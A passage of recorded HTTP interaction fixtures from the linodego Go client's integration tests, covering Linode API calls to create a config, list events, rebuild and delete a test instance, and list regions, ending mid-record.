duration: "" - request: body: '{"label":"go-test-conf-2r9209pgz8jb","devices":{},"interfaces":null}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/25233676/configs method: POST response: body: '{"id": 3460802, "label": "go-test-conf-2r9209pgz8jb", "helpers": {"updatedb_disabled": true, "distro": true, "modules_dep": true, "network": true, "devtmpfs_automount": true}, "kernel": "linode/latest-64bit", "comments": "", "memory_limit": 0, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "root_device": "/dev/sda", "devices": {"sda": null, "sdb": null, "sdc": null, "sdd": null, "sde": null, "sdf": null, "sdg": null, "sdh": null}, "initrd": null, "run_level": "default", "virt_mode": "paravirt", "interfaces": []}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Accept-Encoding - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_create","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":25233676,"entity.type":"linode"}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 29023183, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 100, "time_remaining": null, "rate": null, "duration": 13.0, "action": "linode_create", "username": "lgarber", "entity": {"label": "go-test-ins-wo-disk-4b7z2w606uoj", "id": 25233676, "type": "linode", "url": "/v4/linode/instances/25233676"}, "status": "finished", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Accept-Encoding - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"image":"linode/alpine3.19","root_pass":"qke2/w`3g+m]L56QT,-5M9-eI}80g[0hQj23=PlJqQH68##cSOL0ucxK?\\[.3K8G","type":"g6-standard-2","disk_encryption":"disabled"}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/25233676/rebuild method: POST response: body: '{"id": 25233676, "label": "go-test-ins-wo-disk-4b7z2w606uoj", "group": "", "status": "rebuilding", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "type": "g6-standard-2", "ipv4": ["143.42.181.225"], "ipv6": "1234::5678/128", "image": "linode/alpine3.19", "region": "us-east", "site_type": "core", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": false, "available": false, "schedule": {"day": null, "window": null}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": "3ea139a93c92b6eda6fa3085f78d8cf2132a9234", "has_user_data": false, "placement_group": null, "disk_encryption": "disabled", "lke_cluster_id": null}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Accept-Encoding - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/25233676 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.47.0/test/integration/fixtures/TestInstance_ResetPassword.yaml000066400000000000000000001120521474652371000327420ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/regions?page=1 method: GET response: body: '{"data": [{"id": "ap-west", "label": "Mumbai, IN", "country": "in", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5, 172.105.35.5, 172.105.36.5, 172.105.37.5, 172.105.38.5, 172.105.39.5, 172.105.40.5, 172.105.41.5, 172.105.42.5, 172.105.43.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ca-central", "label": "Toronto, CA", "country": "ca", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5, 172.105.3.5, 172.105.4.5, 172.105.5.5, 172.105.6.5, 172.105.7.5, 172.105.8.5, 172.105.9.5, 172.105.10.5, 172.105.11.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-southeast", "label": "Sydney, AU", "country": "au", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5, 172.105.169.5, 172.105.168.5, 172.105.172.5, 172.105.162.5, 172.105.170.5, 172.105.167.5, 172.105.171.5, 172.105.181.5, 172.105.161.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": ["Linodes", "Block Storage Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "139.144.192.62, 139.144.192.60, 139.144.192.61, 139.144.192.53, 139.144.192.54, 139.144.192.67, 139.144.192.69, 139.144.192.66, 139.144.192.52, 139.144.192.68", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-ord", "label": "Chicago, IL", "country": "us", "capabilities": ["Linodes", "Block Storage Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.0.17, 172.232.0.16, 172.232.0.21, 172.232.0.13, 172.232.0.22, 172.232.0.9, 172.232.0.19, 172.232.0.20, 172.232.0.15, 172.232.0.18", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "fr-par", "label": "Paris, FR", "country": "fr", "capabilities": ["Linodes", "Block Storage Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-sea", "label": "Seattle, WA", "country": "us", "capabilities": ["Linodes", "Block Storage Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.160.19, 172.232.160.21, 172.232.160.17, 172.232.160.15, 172.232.160.18, 172.232.160.8, 172.232.160.12, 172.232.160.11, 172.232.160.14, 172.232.160.16", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "br-gru", "label": "Sao Paulo, BR", "country": "br", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.0.4, 172.233.0.9, 172.233.0.7, 172.233.0.12, 172.233.0.5, 172.233.0.13, 172.233.0.10, 172.233.0.6, 172.233.0.8, 172.233.0.11", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "nl-ams", "label": "Amsterdam, NL", "country": "nl", "capabilities": ["Linodes", "Block Storage Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.33.36, 172.233.33.38, 172.233.33.35, 172.233.33.39, 172.233.33.34, 172.233.33.33, 172.233.33.31, 172.233.33.30, 172.233.33.37, 172.233.33.32", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "se-sto", "label": "Stockholm, SE", "country": "se", "capabilities": ["Linodes", "Block Storage Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.128.24, 172.232.128.26, 172.232.128.20, 172.232.128.22, 172.232.128.25, 172.232.128.19, 172.232.128.23, 172.232.128.18, 172.232.128.21, 172.232.128.27", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "es-mad", "label": "Madrid, ES", "country": "es", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.111.6,172.233.111.17,172.233.111.21,172.233.111.25,172.233.111.19,172.233.111.12,172.233.111.26,172.233.111.16,172.233.111.18,172.233.111.9", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "in-maa", "label": "Chennai, IN", "country": "in", "capabilities": ["Linodes", "Block Storage Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.96.17, 172.232.96.26, 172.232.96.19, 172.232.96.20, 172.232.96.25, 172.232.96.21, 172.232.96.18, 172.232.96.22, 172.232.96.23, 172.232.96.24", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "jp-osa", "label": "Osaka, JP", "country": "jp", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.64.44, 172.233.64.43, 172.233.64.37, 172.233.64.40, 172.233.64.46, 172.233.64.41, 172.233.64.39, 172.233.64.42, 172.233.64.45, 172.233.64.38", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "it-mil", "label": "Milan, IT", "country": "it", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.192.19, 172.232.192.18, 172.232.192.16, 172.232.192.20, 172.232.192.24, 172.232.192.21, 172.232.192.22, 172.232.192.17, 172.232.192.15, 172.232.192.23", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-mia", "label": "Miami, FL", "country": "us", "capabilities": ["Linodes", "Block Storage Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.160.34, 172.233.160.27, 172.233.160.30, 172.233.160.29, 172.233.160.32, 172.233.160.28, 172.233.160.33, 172.233.160.26, 172.233.160.25, 172.233.160.31", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "id-cgk", "label": "Jakarta, ID", "country": "id", "capabilities": ["Linodes", "Block Storage Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.224.23, 172.232.224.32, 172.232.224.26, 172.232.224.27, 172.232.224.21, 172.232.224.24, 172.232.224.22, 172.232.224.20, 172.232.224.31, 172.232.224.28", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-lax", "label": "Los Angeles, CA", "country": "us", "capabilities": ["Linodes", "Block Storage Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.128.45, 172.233.128.38, 172.233.128.53, 172.233.128.37, 172.233.128.34, 172.233.128.36, 172.233.128.33, 172.233.128.39, 172.233.128.43, 172.233.128.44", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "gb-lon", "label": "London 2, UK", "country": "gb", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.236.0.46,172.236.0.50,172.236.0.47,172.236.0.53,172.236.0.52,172.236.0.45,172.236.0.49,172.236.0.51,172.236.0.54,172.236.0.48", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "au-mel", "label": "Melbourne, AU", "country": "au", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.236.32.23,172.236.32.35,172.236.32.30,172.236.32.28,172.236.32.32,172.236.32.33,172.236.32.27,172.236.32.37,172.236.32.29,172.236.32.34", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "in-bom-2", "label": "Mumbai 2, IN", "country": "in", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.236.171.41,172.236.171.42,172.236.171.25,172.236.171.44,172.236.171.26,172.236.171.45,172.236.171.24,172.236.171.43,172.236.171.27,172.236.171.28", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "de-fra-2", "label": "Frankfurt 2, DE", "country": "de", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.236.203.9,172.236.203.16,172.236.203.19,172.236.203.15,172.236.203.17,172.236.203.11,172.236.203.18,172.236.203.14,172.236.203.13,172.236.203.12", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "sg-sin-2", "label": "Singapore 2, SG", "country": "sg", "capabilities": ["Linodes", "Block Storage Encryption", "Backups", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.236.129.8,172.236.129.42,172.236.129.41,172.236.129.19,172.236.129.46,172.236.129.23,172.236.129.48,172.236.129.20,172.236.129.21,172.236.129.47", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "jp-tyo-3", "label": "Tokyo 3, JP", "country": "jp", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.237.4.15,172.237.4.19,172.237.4.17,172.237.4.21,172.237.4.16,172.237.4.18,172.237.4.23,172.237.4.24,172.237.4.20,172.237.4.14", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-central", "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5, 72.14.188.5, 173.255.199.5, 66.228.53.5, 96.126.122.5, 96.126.124.5, 96.126.127.5, 198.58.107.5, 198.58.111.5, 23.239.24.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5, 173.230.147.5, 173.230.155.5, 173.255.212.5, 173.255.219.5, 173.255.241.5, 173.255.243.5, 173.255.244.5, 74.207.241.5, 74.207.242.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-southeast", "label": "Atlanta, GA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5,173.230.128.5,173.230.129.5,173.230.136.5,173.230.140.5,66.228.59.5,66.228.62.5,50.116.35.5,50.116.41.5,23.239.18.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-east", "label": "Newark, NJ", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, 50.116.61.5, 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "eu-west", "label": "London, UK", "country": "gb", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, 176.58.121.5, 151.236.220.5, 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, 109.74.194.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-south", "label": "Singapore, SG", "country": "sg", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5,139.162.13.5,139.162.14.5,139.162.15.5,139.162.16.5,139.162.21.5,139.162.27.5,103.3.60.18,103.3.60.19,103.3.60.20", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5,139.162.131.5,139.162.132.5,139.162.133.5,139.162.134.5,139.162.135.5,139.162.136.5,139.162.137.5,139.162.138.5,139.162.139.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-northeast", "label": "Tokyo 2, JP", "country": "jp", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "139.162.66.5,139.162.67.5,139.162.68.5,139.162.69.5,139.162.70.5,139.162.71.5,139.162.72.5,139.162.73.5,139.162.74.5,139.162.75.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}], "page": 1, "pages": 1, "results": 31}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Mon, 04 Nov 2024 19:22:24 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, 